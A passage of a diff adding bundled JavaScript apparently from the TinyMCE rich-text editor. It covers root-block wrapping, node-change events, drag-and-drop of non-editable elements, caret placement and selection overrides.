+      } else if (/^\s+$/.test(node.nodeValue) && (!node.nextSibling || isBlockElement(blockElements, node.nextSibling))) {
+        return true;
+      }
+    }
+    return false;
+  };
+  var addRootBlocks = function (editor) {
+    var settings = editor.settings, dom = editor.dom, selection = editor.selection;
+    var schema = editor.schema, blockElements = schema.getBlockElements();
+    var node = selection.getStart();
+    var rootNode = editor.getBody();
+    var rng;
+    var startContainer, startOffset, endContainer, endOffset, rootBlockNode;
+    var tempNode, wrapped, restoreSelection;
+    var rootNodeName, forcedRootBlock;
+    forcedRootBlock = settings.forced_root_block;
+    if (!node || !$_3b9u2y1rjjgwe7qe.isElement(node) || !forcedRootBlock) {
+      return;
+    }
+    rootNodeName = rootNode.nodeName.toLowerCase();
+    if (!schema.isValidChild(rootNodeName, forcedRootBlock.toLowerCase()) || hasBlockParent(blockElements, rootNode, node)) {
+      return;
+    }
+    rng = selection.getRng();
+    startContainer = rng.startContainer;
+    startOffset = rng.startOffset;
+    endContainer = rng.endContainer;
+    endOffset = rng.endOffset;
+    restoreSelection = $_5eyh7w4vjjgwe8ik.hasFocus(editor);
+    node = rootNode.firstChild;
+    while (node) {
+      if (isValidTarget(blockElements, node)) {
+        if (shouldRemoveTextNode(blockElements, node)) {
+          tempNode = node;
+          node = node.nextSibling;
+          dom.remove(tempNode);
+          continue;
+        }
+        if (!rootBlockNode) {
+          rootBlockNode = dom.create(forcedRootBlock, editor.settings.forced_root_block_attrs);
+          node.parentNode.insertBefore(rootBlockNode, node);
+          wrapped = true;
+        }
+        tempNode = node;
+        node = node.nextSibling;
+        rootBlockNode.appendChild(tempNode);
+      } else {
+        rootBlockNode = null;
+        node = node.nextSibling;
+      }
+    }
+    if (wrapped && restoreSelection) {
+      rng.setStart(startContainer, startOffset);
+      rng.setEnd(endContainer, endOffset);
+      selection.setRng(rng);
+      editor.nodeChanged();
+    }
+  };
+  var setup$2 = function (editor) {
+    if (editor.settings.forced_root_block) {
+      editor.on('NodeChange', curry(addRootBlocks, editor));
+    }
+  };
+  var $_g8uzqo5ljjgwe8m8 = { setup: setup$2 };
+
+  var getStartNode = function (rng) {
+    var sc = rng.startContainer, so = rng.startOffset;
+    if ($_3b9u2y1rjjgwe7qe.isText(sc)) {
+      return so === 0 ? Option.some(Element$$1.fromDom(sc)) : Option.none();
+    } else {
+      return Option.from(sc.childNodes[so]).map(Element$$1.fromDom);
+    }
+  };
+  var getEndNode = function (rng) {
+    var ec = rng.endContainer, eo = rng.endOffset;
+    if ($_3b9u2y1rjjgwe7qe.isText(ec)) {
+      return eo === ec.data.length ? Option.some(Element$$1.fromDom(ec)) : Option.none();
+    } else {
+      return Option.from(ec.childNodes[eo - 1]).map(Element$$1.fromDom);
+    }
+  };
+  var getFirstChildren = function (node) {
+    return $_d3rmjp18jjgwe7nc.firstChild(node).fold(constant([node]), function (child) {
+      return [node].concat(getFirstChildren(child));
+    });
+  };
+  var getLastChildren$1 = function (node) {
+    return $_d3rmjp18jjgwe7nc.lastChild(node).fold(constant([node]), function (child) {
+      if ($_fxxo5411jjgwe7lq.name(child) === 'br') {
+        return $_d3rmjp18jjgwe7nc.prevSibling(child).map(function (sibling) {
+          return [node].concat(getLastChildren$1(sibling));
+        }).getOr([]);
+      } else {
+        return [node].concat(getLastChildren$1(child));
+      }
+    });
+  };
+  var hasAllContentsSelected = function (elm, rng) {
+    return liftN([
+      getStartNode(rng),
+      getEndNode(rng)
+    ], function (startNode, endNode) {
+      var start = find(getFirstChildren(elm), curry($_5raon11ejjgwe7o5.eq, startNode));
+      var end = find(getLastChildren$1(elm), curry($_5raon11ejjgwe7o5.eq, endNode));
+      return start.isSome() && end.isSome();
+    }).getOr(false);
+  };
+  var moveEndPoint$1 = function (dom, rng, node, start) {
+    var root = node, walker = new TreeWalker(node, root);
+    var nonEmptyElementsMap = dom.schema.getNonEmptyElements();
+    do {
+      if (node.nodeType === 3 && $_6cwiepljjgwe7j4.trim(node.nodeValue).length !== 0) {
+        if (start) {
+          rng.setStart(node, 0);
+        } else {
+          rng.setEnd(node, node.nodeValue.length);
+        }
+        return;
+      }
+      if (nonEmptyElementsMap[node.nodeName] && !/^(TD|TH)$/.test(node.nodeName)) {
+        if (start) {
+          rng.setStartBefore(node);
+        } else {
+          if (node.nodeName === 'BR') {
+            rng.setEndBefore(node);
+          } else {
+            rng.setEndAfter(node);
+          }
+        }
+        return;
+      }
+      if ($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 11 && dom.isBlock(node) && dom.isEmpty(node)) {
+        if (start) {
+          rng.setStart(node, 0);
+        } else {
+          rng.setEnd(node, 0);
+        }
+        return;
+      }
+    } while (node = start ? walker.next() : walker.prev());
+    if (root.nodeName === 'BODY') {
+      if (start) {
+        rng.setStart(root, 0);
+      } else {
+        rng.setEnd(root, root.childNodes.length);
+      }
+    }
+  };
+  var hasAnyRanges = function (editor) {
+    var sel = editor.selection.getSel();
+    return sel && sel.rangeCount > 0;
+  };
+
+  function NodeChange (editor) {
+    var lastRng, lastPath = [];
+    var isSameElementPath = function (startElm) {
+      var i, currentPath;
+      currentPath = editor.$(startElm).parentsUntil(editor.getBody()).add(startElm);
+      if (currentPath.length === lastPath.length) {
+        for (i = currentPath.length; i >= 0; i--) {
+          if (currentPath[i] !== lastPath[i]) {
+            break;
+          }
+        }
+        if (i === -1) {
+          lastPath = currentPath;
+          return true;
+        }
+      }
+      lastPath = currentPath;
+      return false;
+    };
+    if (!('onselectionchange' in editor.getDoc())) {
+      editor.on('NodeChange Click MouseUp KeyUp Focus', function (e) {
+        var nativeRng, fakeRng;
+        nativeRng = editor.selection.getRng();
+        fakeRng = {
+          startContainer: nativeRng.startContainer,
+          startOffset: nativeRng.startOffset,
+          endContainer: nativeRng.endContainer,
+          endOffset: nativeRng.endOffset
+        };
+        if (e.type === 'nodechange' || !$_g1gkxh4kjjgwe8gw.isEq(fakeRng, lastRng)) {
+          editor.fire('SelectionChange');
+        }
+        lastRng = fakeRng;
+      });
+    }
+    editor.on('contextmenu', function () {
+      editor.fire('SelectionChange');
+    });
+    editor.on('SelectionChange', function () {
+      var startElm = editor.selection.getStart(true);
+      if (!startElm || !$_bcvfv9ajjgwe79v.range && editor.selection.isCollapsed()) {
+        return;
+      }
+      if (hasAnyRanges(editor) && !isSameElementPath(startElm) && editor.dom.isChildOf(startElm, editor.getBody())) {
+        editor.nodeChanged({ selectionChange: true });
+      }
+    });
+    editor.on('MouseUp', function (e) {
+      if (!e.isDefaultPrevented() && hasAnyRanges(editor)) {
+        if (editor.selection.getNode().nodeName === 'IMG') {
+          $_9o1ijaijjgwe7dm.setEditorTimeout(editor, function () {
+            editor.nodeChanged();
+          });
+        } else {
+          editor.nodeChanged();
+        }
+      }
+    });
+    this.nodeChanged = function (args) {
+      var selection = editor.selection;
+      var node, parents, root;
+      if (editor.initialized && selection && !editor.settings.disable_nodechange && !editor.readonly) {
+        root = editor.getBody();
+        node = selection.getStart(true) || root;
+        if (node.ownerDocument !== editor.getDoc() || !editor.dom.isChildOf(node, root)) {
+          node = root;
+        }
+        parents = [];
+        editor.dom.getParent(node, function (node) {
+          if (node === root) {
+            return true;
+          }
+          parents.push(node);
+        });
+        args = args || {};
+        args.element = node;
+        args.parents = parents;
+        editor.fire('NodeChange', args);
+      }
+    };
+  }
+
+  var getAbsolutePosition = function (elm) {
+    var doc, docElem, win, clientRect;
+    clientRect = elm.getBoundingClientRect();
+    doc = elm.ownerDocument;
+    docElem = doc.documentElement;
+    win = doc.defaultView;
+    return {
+      top: clientRect.top + win.pageYOffset - docElem.clientTop,
+      left: clientRect.left + win.pageXOffset - docElem.clientLeft
+    };
+  };
+  var getBodyPosition = function (editor) {
+    return editor.inline ? getAbsolutePosition(editor.getBody()) : {
+      left: 0,
+      top: 0
+    };
+  };
+  var getScrollPosition = function (editor) {
+    var body = editor.getBody();
+    return editor.inline ? {
+      left: body.scrollLeft,
+      top: body.scrollTop
+    } : {
+      left: 0,
+      top: 0
+    };
+  };
+  var getBodyScroll = function (editor) {
+    var body = editor.getBody(), docElm = editor.getDoc().documentElement;
+    var inlineScroll = {
+      left: body.scrollLeft,
+      top: body.scrollTop
+    };
+    var iframeScroll = {
+      left: body.scrollLeft || docElm.scrollLeft,
+      top: body.scrollTop || docElm.scrollTop
+    };
+    return editor.inline ? inlineScroll : iframeScroll;
+  };
+  var getMousePosition = function (editor, event) {
+    if (event.target.ownerDocument !== editor.getDoc()) {
+      var iframePosition = getAbsolutePosition(editor.getContentAreaContainer());
+      var scrollPosition = getBodyScroll(editor);
+      return {
+        left: event.pageX - iframePosition.left + scrollPosition.left,
+        top: event.pageY - iframePosition.top + scrollPosition.top
+      };
+    }
+    return {
+      left: event.pageX,
+      top: event.pageY
+    };
+  };
+  var calculatePosition = function (bodyPosition, scrollPosition, mousePosition) {
+    return {
+      pageX: mousePosition.left - bodyPosition.left + scrollPosition.left,
+      pageY: mousePosition.top - bodyPosition.top + scrollPosition.top
+    };
+  };
+  var calc = function (editor, event) {
+    return calculatePosition(getBodyPosition(editor), getScrollPosition(editor), getMousePosition(editor, event));
+  };
+  var $_ddlajs5qjjgwe8o0 = { calc: calc };
+
+  var isContentEditableFalse$7 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isContentEditableTrue$4 = $_3b9u2y1rjjgwe7qe.isContentEditableTrue;
+  var isDraggable = function (rootElm, elm) {
+    return isContentEditableFalse$7(elm) && elm !== rootElm;
+  };
+  var isValidDropTarget = function (editor, targetElement, dragElement) {
+    if (targetElement === dragElement || editor.dom.isChildOf(targetElement, dragElement)) {
+      return false;
+    }
+    if (isContentEditableFalse$7(targetElement)) {
+      return false;
+    }
+    return true;
+  };
+  var cloneElement = function (elm) {
+    var cloneElm = elm.cloneNode(true);
+    cloneElm.removeAttribute('data-mce-selected');
+    return cloneElm;
+  };
+  var createGhost = function (editor, elm, width, height) {
+    var clonedElm = elm.cloneNode(true);
+    editor.dom.setStyles(clonedElm, {
+      width: width,
+      height: height
+    });
+    editor.dom.setAttrib(clonedElm, 'data-mce-selected', null);
+    var ghostElm = editor.dom.create('div', {
+      'class': 'mce-drag-container',
+      'data-mce-bogus': 'all',
+      'unselectable': 'on',
+      'contenteditable': 'false'
+    });
+    editor.dom.setStyles(ghostElm, {
+      position: 'absolute',
+      opacity: 0.5,
+      overflow: 'hidden',
+      border: 0,
+      padding: 0,
+      margin: 0,
+      width: width,
+      height: height
+    });
+    editor.dom.setStyles(clonedElm, {
+      margin: 0,
+      boxSizing: 'border-box'
+    });
+    ghostElm.appendChild(clonedElm);
+    return ghostElm;
+  };
+  var appendGhostToBody = function (ghostElm, bodyElm) {
+    if (ghostElm.parentNode !== bodyElm) {
+      bodyElm.appendChild(ghostElm);
+    }
+  };
+  var moveGhost = function (ghostElm, position, width, height, maxX, maxY) {
+    var overflowX = 0, overflowY = 0;
+    ghostElm.style.left = position.pageX + 'px';
+    ghostElm.style.top = position.pageY + 'px';
+    if (position.pageX + width > maxX) {
+      overflowX = position.pageX + width - maxX;
+    }
+    if (position.pageY + height > maxY) {
+      overflowY = position.pageY + height - maxY;
+    }
+    ghostElm.style.width = width - overflowX + 'px';
+    ghostElm.style.height = height - overflowY + 'px';
+  };
+  var removeElement = function (elm) {
+    if (elm && elm.parentNode) {
+      elm.parentNode.removeChild(elm);
+    }
+  };
+  var isLeftMouseButtonPressed = function (e) {
+    return e.button === 0;
+  };
+  var hasDraggableElement = function (state) {
+    return state.element;
+  };
+  var applyRelPos = function (state, position) {
+    return {
+      pageX: position.pageX - state.relX,
+      pageY: position.pageY + 5
+    };
+  };
+  var start$1 = function (state, editor) {
+    return function (e) {
+      if (isLeftMouseButtonPressed(e)) {
+        var ceElm = $_6t4axrmjjgwe7jf.find(editor.dom.getParents(e.target), $_4127e12ljjgwe7ww.or(isContentEditableFalse$7, isContentEditableTrue$4));
+        if (isDraggable(editor.getBody(), ceElm)) {
+          var elmPos = editor.dom.getPos(ceElm);
+          var bodyElm = editor.getBody();
+          var docElm = editor.getDoc().documentElement;
+          state.element = ceElm;
+          state.screenX = e.screenX;
+          state.screenY = e.screenY;
+          state.maxX = (editor.inline ? bodyElm.scrollWidth : docElm.offsetWidth) - 2;
+          state.maxY = (editor.inline ? bodyElm.scrollHeight : docElm.offsetHeight) - 2;
+          state.relX = e.pageX - elmPos.x;
+          state.relY = e.pageY - elmPos.y;
+          state.width = ceElm.offsetWidth;
+          state.height = ceElm.offsetHeight;
+          state.ghost = createGhost(editor, ceElm, state.width, state.height);
+        }
+      }
+    };
+  };
+  var move$1 = function (state, editor) {
+    var throttledPlaceCaretAt = $_9o1ijaijjgwe7dm.throttle(function (clientX, clientY) {
+      editor._selectionOverrides.hideFakeCaret();
+      editor.selection.placeCaretAt(clientX, clientY);
+    }, 0);
+    return function (e) {
+      var movement = Math.max(Math.abs(e.screenX - state.screenX), Math.abs(e.screenY - state.screenY));
+      if (hasDraggableElement(state) && !state.dragging && movement > 10) {
+        var args = editor.fire('dragstart', { target: state.element });
+        if (args.isDefaultPrevented()) {
+          return;
+        }
+        state.dragging = true;
+        editor.focus();
+      }
+      if (state.dragging) {
+        var targetPos = applyRelPos(state, $_ddlajs5qjjgwe8o0.calc(editor, e));
+        appendGhostToBody(state.ghost, editor.getBody());
+        moveGhost(state.ghost, targetPos, state.width, state.height, state.maxX, state.maxY);
+        throttledPlaceCaretAt(e.clientX, e.clientY);
+      }
+    };
+  };
+  var getRawTarget = function (selection) {
+    var rng = selection.getSel().getRangeAt(0);
+    var startContainer = rng.startContainer;
+    return startContainer.nodeType === 3 ? startContainer.parentNode : startContainer;
+  };
+  var drop = function (state, editor) {
+    return function (e) {
+      if (state.dragging) {
+        if (isValidDropTarget(editor, getRawTarget(editor.selection), state.element)) {
+          var targetClone_1 = cloneElement(state.element);
+          var args = editor.fire('drop', {
+            targetClone: targetClone_1,
+            clientX: e.clientX,
+            clientY: e.clientY
+          });
+          if (!args.isDefaultPrevented()) {
+            targetClone_1 = args.targetClone;
+            editor.undoManager.transact(function () {
+              removeElement(state.element);
+              editor.insertContent(editor.dom.getOuterHTML(targetClone_1));
+              editor._selectionOverrides.hideFakeCaret();
+            });
+          }
+        }
+      }
+      removeDragState(state);
+    };
+  };
+  var stop$$1 = function (state, editor) {
+    return function () {
+      if (state.dragging) {
+        editor.fire('dragend');
+      }
+      removeDragState(state);
+    };
+  };
+  var removeDragState = function (state) {
+    state.dragging = false;
+    state.element = null;
+    removeElement(state.ghost);
+  };
+  var bindFakeDragEvents = function (editor) {
+    var state = {};
+    var pageDom, dragStartHandler, dragHandler, dropHandler, dragEndHandler, rootDocument;
+    pageDom = DOMUtils$1.DOM;
+    rootDocument = document;
+    dragStartHandler = start$1(state, editor);
+    dragHandler = move$1(state, editor);
+    dropHandler = drop(state, editor);
+    dragEndHandler = stop$$1(state, editor);
+    editor.on('mousedown', dragStartHandler);
+    editor.on('mousemove', dragHandler);
+    editor.on('mouseup', dropHandler);
+    pageDom.bind(rootDocument, 'mousemove', dragHandler);
+    pageDom.bind(rootDocument, 'mouseup', dragEndHandler);
+    editor.on('remove', function () {
+      pageDom.unbind(rootDocument, 'mousemove', dragHandler);
+      pageDom.unbind(rootDocument, 'mouseup', dragEndHandler);
+    });
+  };
+  var blockIeDrop = function (editor) {
+    editor.on('drop', function (e) {
+      var realTarget = typeof e.clientX !== 'undefined' ? editor.getDoc().elementFromPoint(e.clientX, e.clientY) : null;
+      if (isContentEditableFalse$7(realTarget) || isContentEditableFalse$7(editor.dom.getContentEditableParent(realTarget))) {
+        e.preventDefault();
+      }
+    });
+  };
+  var init = function (editor) {
+    bindFakeDragEvents(editor);
+    blockIeDrop(editor);
+  };
+  var $_d2ggl65pjjgwe8nv = { init: init };
+
+  var getNodeClientRects = function (node) {
+    var toArrayWithNode = function (clientRects) {
+      return $_6t4axrmjjgwe7jf.map(clientRects, function (clientRect) {
+        clientRect = clone$2(clientRect);
+        clientRect.node = node;
+        return clientRect;
+      });
+    };
+    if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+      return toArrayWithNode(node.getClientRects());
+    }
+    if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+      var rng = node.ownerDocument.createRange();
+      rng.setStart(node, 0);
+      rng.setEnd(node, node.data.length);
+      return toArrayWithNode(rng.getClientRects());
+    }
+  };
+  var getClientRects = function (node) {
+    return $_6t4axrmjjgwe7jf.reduce(node, function (result, node) {
+      return result.concat(getNodeClientRects(node));
+    }, []);
+  };
+
+  var VDirection;
+  (function (VDirection) {
+    VDirection[VDirection['Up'] = -1] = 'Up';
+    VDirection[VDirection['Down'] = 1] = 'Down';
+  }(VDirection || (VDirection = {})));
+  var findUntil = function (direction, root, predicateFn, node) {
+    while (node = findNode(node, direction, isEditableCaretCandidate, root)) {
+      if (predicateFn(node)) {
+        return;
+      }
+    }
+  };
+  var walkUntil = function (direction, isAboveFn, isBeflowFn, root, predicateFn, caretPosition) {
+    var line = 0, node;
+    var result = [];
+    var targetClientRect;
+    var add = function (node) {
+      var i, clientRect, clientRects;
+      clientRects = getClientRects([node]);
+      if (direction === -1) {
+        clientRects = clientRects.reverse();
+      }
+      for (i = 0; i < clientRects.length; i++) {
+        clientRect = clientRects[i];
+        if (isBeflowFn(clientRect, targetClientRect)) {
+          continue;
+        }
+        if (result.length > 0 && isAboveFn(clientRect, $_6t4axrmjjgwe7jf.last(result))) {
+          line++;
+        }
+        clientRect.line = line;
+        if (predicateFn(clientRect)) {
+          return true;
+        }
+        result.push(clientRect);
+      }
+    };
+    targetClientRect = $_6t4axrmjjgwe7jf.last(caretPosition.getClientRects());
+    if (!targetClientRect) {
+      return result;
+    }
+    node = caretPosition.getNode();
+    add(node);
+    findUntil(direction, root, add, node);
+    return result;
+  };
+  var aboveLineNumber = function (lineNumber, clientRect) {
+    return clientRect.line > lineNumber;
+  };
+  var isLineNumber = function (lineNumber, clientRect) {
+    return clientRect.line === lineNumber;
+  };
+  var upUntil = curry(walkUntil, VDirection.Up, isAbove, isBelow);
+  var downUntil = curry(walkUntil, VDirection.Down, isBelow, isAbove);
+  var positionsUntil = function (direction, root, predicateFn, node) {
+    var caretWalker = CaretWalker(root);
+    var walkFn, isBelowFn, isAboveFn, caretPosition;
+    var result = [];
+    var line = 0, clientRect, targetClientRect;
+    var getClientRect = function (caretPosition) {
+      if (direction === 1) {
+        return $_6t4axrmjjgwe7jf.last(caretPosition.getClientRects());
+      }
+      return $_6t4axrmjjgwe7jf.last(caretPosition.getClientRects());
+    };
+    if (direction === 1) {
+      walkFn = caretWalker.next;
+      isBelowFn = isBelow;
+      isAboveFn = isAbove;
+      caretPosition = CaretPosition$1.after(node);
+    } else {
+      walkFn = caretWalker.prev;
+      isBelowFn = isAbove;
+      isAboveFn = isBelow;
+      caretPosition = CaretPosition$1.before(node);
+    }
+    targetClientRect = getClientRect(caretPosition);
+    do {
+      if (!caretPosition.isVisible()) {
+        continue;
+      }
+      clientRect = getClientRect(caretPosition);
+      if (isAboveFn(clientRect, targetClientRect)) {
+        continue;
+      }
+      if (result.length > 0 && isBelowFn(clientRect, $_6t4axrmjjgwe7jf.last(result))) {
+        line++;
+      }
+      clientRect = clone$2(clientRect);
+      clientRect.position = caretPosition;
+      clientRect.line = line;
+      if (predicateFn(clientRect)) {
+        return result;
+      }
+      result.push(clientRect);
+    } while (caretPosition = walkFn(caretPosition));
+    return result;
+  };
+  var isAboveLine = function (lineNumber) {
+    return function (clientRect) {
+      return aboveLineNumber(lineNumber, clientRect);
+    };
+  };
+  var isLine = function (lineNumber) {
+    return function (clientRect) {
+      return isLineNumber(lineNumber, clientRect);
+    };
+  };
+
+  var isContentEditableFalse$8 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var findNode$1 = findNode;
+  var distanceToRectLeft = function (clientRect, clientX) {
+    return Math.abs(clientRect.left - clientX);
+  };
+  var distanceToRectRight = function (clientRect, clientX) {
+    return Math.abs(clientRect.right - clientX);
+  };
+  var isInside = function (clientX, clientRect) {
+    return clientX >= clientRect.left && clientX <= clientRect.right;
+  };
+  var findClosestClientRect = function (clientRects, clientX) {
+    return $_6t4axrmjjgwe7jf.reduce(clientRects, function (oldClientRect, clientRect) {
+      var oldDistance, newDistance;
+      oldDistance = Math.min(distanceToRectLeft(oldClientRect, clientX), distanceToRectRight(oldClientRect, clientX));
+      newDistance = Math.min(distanceToRectLeft(clientRect, clientX), distanceToRectRight(clientRect, clientX));
+      if (isInside(clientX, clientRect)) {
+        return clientRect;
+      }
+      if (isInside(clientX, oldClientRect)) {
+        return oldClientRect;
+      }
+      if (newDistance === oldDistance && isContentEditableFalse$8(clientRect.node)) {
+        return clientRect;
+      }
+      if (newDistance < oldDistance) {
+        return clientRect;
+      }
+      return oldClientRect;
+    });
+  };
+  var walkUntil$1 = function (direction, root, predicateFn, node) {
+    while (node = findNode$1(node, direction, isEditableCaretCandidate, root)) {
+      if (predicateFn(node)) {
+        return;
+      }
+    }
+  };
+  var findLineNodeRects = function (root, targetNodeRect) {
+    var clientRects = [];
+    var collect = function (checkPosFn, node) {
+      var lineRects;
+      lineRects = $_6t4axrmjjgwe7jf.filter(getClientRects([node]), function (clientRect) {
+        return !checkPosFn(clientRect, targetNodeRect);
+      });
+      clientRects = clientRects.concat(lineRects);
+      return lineRects.length === 0;
+    };
+    clientRects.push(targetNodeRect);
+    walkUntil$1(VDirection.Up, root, curry(collect, isAbove), targetNodeRect.node);
+    walkUntil$1(VDirection.Down, root, curry(collect, isBelow), targetNodeRect.node);
+    return clientRects;
+  };
+  var getFakeCaretTargets = function (root) {
+    return $_6t4axrmjjgwe7jf.filter($_6t4axrmjjgwe7jf.toArray(root.getElementsByTagName('*')), isFakeCaretTarget);
+  };
+  var caretInfo = function (clientRect, clientX) {
+    return {
+      node: clientRect.node,
+      before: distanceToRectLeft(clientRect, clientX) < distanceToRectRight(clientRect, clientX)
+    };
+  };
+  var closestCaret = function (root, clientX, clientY) {
+    var closestNodeRect;
+    var contentEditableFalseNodeRects = getClientRects(getFakeCaretTargets(root));
+    var targetNodeRects = $_6t4axrmjjgwe7jf.filter(contentEditableFalseNodeRects, function (rect) {
+      return clientY >= rect.top && clientY <= rect.bottom;
+    });
+    closestNodeRect = findClosestClientRect(targetNodeRects, clientX);
+    if (closestNodeRect) {
+      closestNodeRect = findClosestClientRect(findLineNodeRects(root, closestNodeRect), clientX);
+      if (closestNodeRect && isFakeCaretTarget(closestNodeRect.node)) {
+        return caretInfo(closestNodeRect, clientX);
+      }
+    }
+    return null;
+  };
+
+  var isXYWithinRange = function (clientX, clientY, range$$1) {
+    if (range$$1.collapsed) {
+      return false;
+    }
+    return foldl(range$$1.getClientRects(), function (state, rect) {
+      return state || containsXY(rect, clientX, clientY);
+    }, false);
+  };
+  var $_bswl8d5ujjgwe8oh = { isXYWithinRange: isXYWithinRange };
+
+  var setup$3 = function (editor) {
+    var renderFocusCaret = first$1(function () {
+      if (!editor.removed) {
+        var rng = editor.selection.getRng();
+        if (rng.collapsed) {
+          var caretRange = renderRangeCaret(editor, editor.selection.getRng(), false);
+          editor.selection.setRng(caretRange);
+        }
+      }
+    }, 0);
+    editor.on('focus', function () {
+      renderFocusCaret.throttle();
+    });
+    editor.on('blur', function () {
+      renderFocusCaret.cancel();
+    });
+  };
+  var $_gvlmc5vjjgwe8ok = { setup: setup$3 };
+
+  var $_9udk9k5wjjgwe8on = {
+    BACKSPACE: 8,
+    DELETE: 46,
+    DOWN: 40,
+    ENTER: 13,
+    LEFT: 37,
+    RIGHT: 39,
+    SPACEBAR: 32,
+    TAB: 9,
+    UP: 38,
+    modifierPressed: function (e) {
+      return e.shiftKey || e.ctrlKey || e.altKey || this.metaKeyPressed(e);
+    },
+    metaKeyPressed: function (e) {
+      return $_bcvfv9ajjgwe79v.mac ? e.metaKey : e.ctrlKey && !e.altKey;
+    }
+  };
+
+  var isContentEditableTrue$5 = $_3b9u2y1rjjgwe7qe.isContentEditableTrue;
+  var isContentEditableFalse$9 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isAfterContentEditableFalse$1 = isAfterContentEditableFalse;
+  var isBeforeContentEditableFalse$1 = isBeforeContentEditableFalse;
+  var getContentEditableRoot$1 = function (editor, node) {
+    var root = editor.getBody();
+    while (node && node !== root) {
+      if (isContentEditableTrue$5(node) || isContentEditableFalse$9(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var SelectionOverrides = function (editor) {
+    var isBlock = function (node) {
+      return editor.dom.isBlock(node);
+    };
+    var rootNode = editor.getBody();
+    var fakeCaret = FakeCaret(editor.getBody(), isBlock, function () {
+      return $_5eyh7w4vjjgwe8ik.hasFocus(editor);
+    });
+    var realSelectionId = 'sel-' + editor.dom.uniqueId();
+    var selectedContentEditableNode;
+    var isFakeSelectionElement = function (elm) {
+      return editor.dom.hasClass(elm, 'mce-offscreen-selection');
+    };
+    var getRealSelectionElement = function () {
+      var container = editor.dom.get(realSelectionId);
+      return container ? container.getElementsByTagName('*')[0] : container;
+    };
+    var setRange = function (range$$1) {
+      if (range$$1) {
+        editor.selection.setRng(range$$1);
+      }
+    };
+    var getRange = function () {
+      return editor.selection.getRng();
+    };
+    var showCaret$$1 = function (direction, node, before, scrollIntoView) {
+      if (scrollIntoView === void 0) {
+        scrollIntoView = true;
+      }
+      var e;
+      e = editor.fire('ShowCaret', {
+        target: node,
+        direction: direction,
+        before: before
+      });
+      if (e.isDefaultPrevented()) {
+        return null;
+      }
+      if (scrollIntoView) {
+        editor.selection.scrollIntoView(node, direction === -1);
+      }
+      return fakeCaret.show(before, node);
+    };
+    var getNormalizedRangeEndPoint$$1 = function (direction, range$$1) {
+      range$$1 = normalizeRange(direction, rootNode, range$$1);
+      if (direction === -1) {
+        return CaretPosition$1.fromRangeStart(range$$1);
+      }
+      return CaretPosition$1.fromRangeEnd(range$$1);
+    };
+    var showBlockCaretContainer = function (blockCaretContainer) {
+      if (blockCaretContainer.hasAttribute('data-mce-caret')) {
+        showCaretContainerBlock(blockCaretContainer);
+        setRange(getRange());
+        editor.selection.scrollIntoView(blockCaretContainer[0]);
+      }
+    };
+    var registerEvents = function () {
+      editor.on('mouseup', function (e) {
+        var range$$1 = getRange();
+        if (range$$1.collapsed && $_3j45vj50jjgwe8jq.isXYInContentArea(editor, e.clientX, e.clientY)) {
+          setRange(renderCaretAtRange(editor, range$$1, false));
+        }
+      });
+      editor.on('click', function (e) {
+        var contentEditableRoot;
+        contentEditableRoot = getContentEditableRoot$1(editor, e.target);
+        if (contentEditableRoot) {
+          if (isContentEditableFalse$9(contentEditableRoot)) {
+            e.preventDefault();
+            editor.focus();
+          }
+          if (isContentEditableTrue$5(contentEditableRoot)) {
+            if (editor.dom.isChildOf(contentEditableRoot, editor.selection.getNode())) {
+              removeContentEditableSelection();
+            }
+          }
+        }
+      });
+      editor.on('blur NewBlock', function () {
+        removeContentEditableSelection();
+      });
+      editor.on('ResizeWindow FullscreenStateChanged', function () {
+        return fakeCaret.reposition();
+      });
+      var handleTouchSelect = function (editor) {
+        var moved = false;
+        editor.on('touchstart', function () {
+          moved = false;
+        });
+        editor.on('touchmove', function () {
+          moved = true;
+        });
+        editor.on('touchend', function (e) {
+          var contentEditableRoot = getContentEditableRoot$1(editor, e.target);
+          if (isContentEditableFalse$9(contentEditableRoot)) {
+            if (!moved) {
+              e.preventDefault();
+              setContentEditableSelection(selectNode(editor, contentEditableRoot));
+            }
+          }
+        });
+      };
+      var hasNormalCaretPosition = function (elm) {
+        var caretWalker = CaretWalker(elm);
+        if (!elm.firstChild) {
+          return false;
+        }
+        var startPos = CaretPosition$1.before(elm.firstChild);
+        var newPos = caretWalker.next(startPos);
+        return newPos && !isBeforeContentEditableFalse$1(newPos) && !isAfterContentEditableFalse$1(newPos);
+      };
+      var isInSameBlock$$1 = function (node1, node2) {
+        var block1 = editor.dom.getParent(node1, editor.dom.isBlock);
+        var block2 = editor.dom.getParent(node2, editor.dom.isBlock);
+        return block1 === block2;
+      };
+      var hasBetterMouseTarget = function (targetNode, caretNode) {
+        var targetBlock = editor.dom.getParent(targetNode, editor.dom.isBlock);
+        var caretBlock = editor.dom.getParent(caretNode, editor.dom.isBlock);
+        if (targetBlock && editor.dom.isChildOf(targetBlock, caretBlock) && isContentEditableFalse$9(getContentEditableRoot$1(editor, targetBlock)) === false) {
+          return true;
+        }
+        return targetBlock && !isInSameBlock$$1(targetBlock, caretBlock) && hasNormalCaretPosition(targetBlock);
+      };
+      handleTouchSelect(editor);
+      editor.on('mousedown', function (e) {
+        var contentEditableRoot;
+        var targetElm = e.target;
+        if (targetElm !== rootNode && targetElm.nodeName !== 'HTML' && !editor.dom.isChildOf(targetElm, rootNode)) {
+          return;
+        }
+        if ($_3j45vj50jjgwe8jq.isXYInContentArea(editor, e.clientX, e.clientY) === false) {
+          return;
+        }
+        contentEditableRoot = getContentEditableRoot$1(editor, targetElm);
+        if (contentEditableRoot) {
+          if (isContentEditableFalse$9(contentEditableRoot)) {
+            e.preventDefault();
+            setContentEditableSelection(selectNode(editor, contentEditableRoot));
+          } else {
+            removeContentEditableSelection();
+            if (!(isContentEditableTrue$5(contentEditableRoot) && e.shiftKey) && !$_bswl8d5ujjgwe8oh.isXYWithinRange(e.clientX, e.clientY, editor.selection.getRng())) {
+              hideFakeCaret();
+              editor.selection.placeCaretAt(e.clientX, e.clientY);
+            }
+          }
+        } else if (isFakeCaretTarget(targetElm) === false) {
+          removeContentEditableSelection();
+          hideFakeCaret();
+          var caretInfo = closestCaret(rootNode, e.clientX, e.clientY);
+          if (caretInfo) {
+            if (!hasBetterMouseTarget(e.target, caretInfo.node)) {
